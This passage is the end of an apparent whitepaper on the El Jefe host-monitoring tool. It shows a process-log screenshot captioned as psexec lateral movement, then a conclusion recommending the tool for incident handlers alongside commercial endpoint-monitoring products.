🔶 E	LJEFE •	ersion: 2.2.0				
Stations -	Binaries 👻 📑 Events 👻 😽	🕂 USB 👻 🛓 Intrusion 👻 🎧 Data 👻	💥 Sandbox 👻 🌲 A	Alerts - Welcom	ne, root Log out	
			Docs Client			
First « 1 2	3 4 5 6 7 8 9	10 11 12 13 14 15 16 17	» Last		2	
Search Results : 424						
Date	Parent Binary	Binary	Cmdline	Username	Station	
March 20, 2015, 10:17 a.m.	C:\Windows\system32\rundll32.exe	C:\Windows\system32\cmd.exe	C:\Windows\system32\		haxOr	
March 20, 2015, 10:13 a.m.	N/A	C:\Windows\system32\rundll32.exe	rundll32.exe	NT AUTHORITY\SYSTEM	hax0r	
March 20, 2015, 10:07 a.m.	C:\Windows\system32\winlogon.exe	C:\Windows\system32\LogonUI.exe	"LogonUI.exe"	NT AUTHORITY\SYSTEM	hax0r	
March 20, 2015, 10:06 a.m.	C:\Windows\system32\svchost.exe	C:\Windows\system32\DIIHost.exe	C:\Windows\system32\	hax0r\root	hax0r	
Home   Contact   Top						
© 2010 El Jefe - Terms - Privacy Policy						

Figure 19 - lateral movement with psexec

### 5. Conclusion

El Jefe provides detailed insight into activity on Windows hosts. It is easy to install, the agents consume minimal hardware resources, and the web user interface is easy to navigate.

Commercial alternatives with similar features include Carbon Black, CrowdStrike Falcon Host, and Tanium. If your organization cannot strictly control the software running its hosts (e.g. with application whitelisting), then at least knowing what is running is a worthwhile goal.

For an incident handler, the host execution logs are refreshingly easy to analyze and lack the ambiguity and noise typically found in logs from network controls. This technology perfectly complements host antivirus solutions, and is analogous to having full packet capture logs to support your network IPS deployment.

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